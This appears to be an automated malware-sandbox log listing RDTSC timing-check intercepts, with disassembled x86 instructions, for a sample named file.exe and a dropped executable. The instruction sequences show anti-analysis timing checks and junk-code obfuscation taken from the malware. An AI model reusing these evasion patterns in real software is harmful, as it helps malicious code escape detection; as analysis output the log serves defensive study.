Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85DBF second address: D85DDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F6485173170h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85DDC second address: D85E03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6484B58657h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85E03 second address: D85E0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8609E second address: D860A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D860A2 second address: D860A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D860A8 second address: D860B2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6484B5864Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D860B2 second address: D860BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8653E second address: D86550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6484B5864Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8682F second address: D86842 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6485173166h 0x0000000a popad 0x0000000b jl 00007F6485173168h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D869C5 second address: D869DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B5864Bh 0x00000007 je 00007F6484B58652h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D869DA second address: D869E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D869E0 second address: D869EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F6484B58646h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D897CA second address: D897F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F648517316Eh 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6485173177h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D897F8 second address: D89806 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6484B5864Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89806 second address: D8983D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d jmp 00007F6485173171h 0x00000012 pop esi 0x00000013 mov eax, dword ptr [eax] 0x00000015 push edi 0x00000016 pushad 0x00000017 push esi 0x00000018 pop esi 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 jbe 00007F648517317Ch 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a pop edi 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8ACBF second address: D8ACE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6484B58650h 0x0000000c jmp 00007F6484B5864Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C51F second address: D8C523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5032E second address: 4C50332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50332 second address: 4C50336 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50336 second address: 4C5033C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5033C second address: 4C50342 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50342 second address: 4C50346 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50346 second address: 4C50362 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6485173171h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C503BE second address: 4C50426 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B5864Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edi, eax 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 call 00007F6484B5864Ch 0x00000015 pop ecx 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a mov al, CEh 0x0000001c mov ch, dh 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov ax, bx 0x00000026 pushfd 0x00000027 jmp 00007F6484B58653h 0x0000002c or eax, 4414AB8Eh 0x00000032 jmp 00007F6484B58659h 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50426 second address: 4C5042C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5042C second address: 4C5044B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6484B58651h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5044B second address: 4C50451 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50451 second address: 4C5046B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, ch 0x00000005 mov al, bh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6484B5864Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5046B second address: 4C50471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50471 second address: 4C50475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50475 second address: 4C50479 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1122 second address: CA1127 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5048F second address: 4C50493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50493 second address: 4C50499 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50499 second address: 4C504B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6485173176h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504B3 second address: 4C504EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F6484B58659h 0x00000011 pop ecx 0x00000012 call 00007F6484B58651h 0x00000017 pop eax 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504EC second address: 4C504FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F648517316Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5057D second address: 4C50581 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50581 second address: 4C50587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50587 second address: 4C505CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 mov edx, 1BCC3702h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push 0E9F41D8h 0x00000013 pushad 0x00000014 mov edi, eax 0x00000016 jmp 00007F6484B58650h 0x0000001b popad 0x0000001c add dword ptr [esp], 66F9DA50h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F6484B58657h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C506AC second address: 4C506B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C506B1 second address: 4C506C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6484B5864Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C506C2 second address: 4C506C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C506C6 second address: 4C506FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov al, byte ptr [edx] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6484B58656h 0x00000013 sbb al, FFFFFFC8h 0x00000016 jmp 00007F6484B5864Bh 0x0000001b popfd 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C506FA second address: 4C506FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173174h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a jmp 00007F6485173170h 0x0000000f test al, al 0x00000011 pushad 0x00000012 mov di, cx 0x00000015 pushfd 0x00000016 jmp 00007F648517316Ah 0x0000001b sbb ch, FFFFFF88h 0x0000001e jmp 00007F648517316Bh 0x00000023 popfd 0x00000024 popad 0x00000025 jne 00007F64851730EAh 0x0000002b mov al, byte ptr [edx] 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 pushfd 0x00000031 jmp 00007F6485173176h 0x00000036 sbb al, FFFFFFC8h 0x00000039 jmp 00007F648517316Bh 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50802 second address: 4C50845 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B5864Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov al, byte ptr [edi+01h] 0x0000000d jmp 00007F6484B58657h 0x00000012 inc edi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6484B58655h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50845 second address: 4C508DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6485173171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F648517316Ch 0x00000012 jmp 00007F6485173175h 0x00000017 popfd 0x00000018 pushfd 0x00000019 jmp 00007F6485173170h 0x0000001e adc ax, B2E8h 0x00000023 jmp 00007F648517316Bh 0x00000028 popfd 0x00000029 popad 0x0000002a jne 00007F64F5E3B342h 0x00000030 jmp 00007F6485173176h 0x00000035 mov ecx, edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F6485173177h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C508DA second address: 4C508F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6484B58654h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C508F2 second address: 4C50947 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 shr ecx, 02h 0x0000000b pushad 0x0000000c mov esi, ebx 0x0000000e pushad 0x0000000f mov dl, 31h 0x00000011 pushfd 0x00000012 jmp 00007F6485173170h 0x00000017 jmp 00007F6485173175h 0x0000001c popfd 0x0000001d popad 0x0000001e popad 0x0000001f rep movsd 0x00000021 rep movsd 0x00000023 rep movsd 0x00000025 rep movsd 0x00000027 rep movsd 0x00000029 jmp 00007F648517316Eh 0x0000002e mov ecx, edx 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov ax, dx 0x00000036 mov ch, bh 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50947 second address: 4C509AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B5864Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 03h 0x0000000c jmp 00007F6484B58656h 0x00000011 rep movsb 0x00000013 pushad 0x00000014 call 00007F6484B5864Dh 0x00000019 push esi 0x0000001a pop edi 0x0000001b pop ecx 0x0000001c popad 0x0000001d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000024 pushad 0x00000025 push edi 0x00000026 push esi 0x00000027 pop edi 0x00000028 pop eax 0x00000029 mov dx, 7034h 0x0000002d popad 0x0000002e mov eax, ebx 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F6484B58656h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C509AE second address: 4C509C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F648517316Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, dword ptr [ebp-10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C509C6 second address: 4C509CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C509CA second address: 4C509D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C509D0 second address: 4C5057D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B5864Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr fs:[00000000h], ecx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F6484B5864Eh 0x00000017 sub cx, 2378h 0x0000001c jmp 00007F6484B5864Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007F6484B58658h 0x00000028 adc ch, FFFFFFD8h 0x0000002b jmp 00007F6484B5864Bh 0x00000030 popfd 0x00000031 popad 0x00000032 pop ecx 0x00000033 jmp 00007F6484B58656h 0x00000038 pop edi 0x00000039 jmp 00007F6484B58650h 0x0000003e pop esi 0x0000003f jmp 00007F6484B58650h 0x00000044 pop ebx 0x00000045 jmp 00007F6484B58650h 0x0000004a leave 0x0000004b jmp 00007F6484B58650h 0x00000050 retn 0008h 0x00000053 cmp dword ptr [ebp-2Ch], 10h 0x00000057 mov eax, dword ptr [ebp-40h] 0x0000005a jnc 00007F6484B58645h 0x0000005c push eax 0x0000005d lea edx, dword ptr [ebp-00000590h] 0x00000063 push edx 0x00000064 call esi 0x00000066 push 00000008h 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50B76 second address: 4C50B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50B7A second address: 4C50B80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 808ED2 second address: 808EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6485173166h 0x0000000a popad 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F6485173166h 0x00000015 jne 00007F6485173166h 0x0000001b rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 808EED second address: 808EFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007F6484B58646h 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 808EFE second address: 808F07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 808F07 second address: 808F1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B58650h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 808F1E second address: 808F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6485173178h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 7F59EB second address: 7F59F7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 7F59F7 second address: 7F5A04 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6485173166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 807F78 second address: 807F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 807F7C second address: 807F99 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F6485173177h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 80867A second address: 80868D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6484B58646h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d popad 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 80868D second address: 808697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6485173166h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 80AF0C second address: 80AF2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 ja 00007F6484B5864Ch 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 mov eax, dword ptr [eax] 0x00000017 jnc 00007F6484B58650h 0x0000001d push eax 0x0000001e push edx 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 80B113 second address: 80B117 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 80B232 second address: 80B237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 80B237 second address: 80B27C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jmp 00007F6485173170h 0x00000010 ja 00007F648517317Fh 0x00000016 jmp 00007F6485173179h 0x0000001b popad 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 80B27C second address: 80B280 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 80B280 second address: 80B28A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6485173166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 80B28A second address: 80B322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6484B58658h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F6484B58648h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 jmp 00007F6484B58653h 0x00000029 mov esi, 4A2CFF40h 0x0000002e lea ebx, dword ptr [ebp+1244FCE8h] 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007F6484B58648h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000017h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e mov edi, dword ptr [ebp+122D2B66h] 0x00000054 mov edi, dword ptr [ebp+122D2BD2h] 0x0000005a or edx, 75BBB6F1h 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 push ebx 0x00000064 push ebx 0x00000065 pop ebx 0x00000066 pop ebx 0x00000067 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 8292A2 second address: 8292B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F648517316Ch 0x00000009 jc 00007F6485173166h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 829428 second address: 82942C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 829739 second address: 82973D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 82973D second address: 829743 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 829743 second address: 82974B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 82974B second address: 829757 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsJEHJKJEBGH.exe	RDTSC instruction interceptor: First address: 82989E second address: 8298AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F6485173166h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
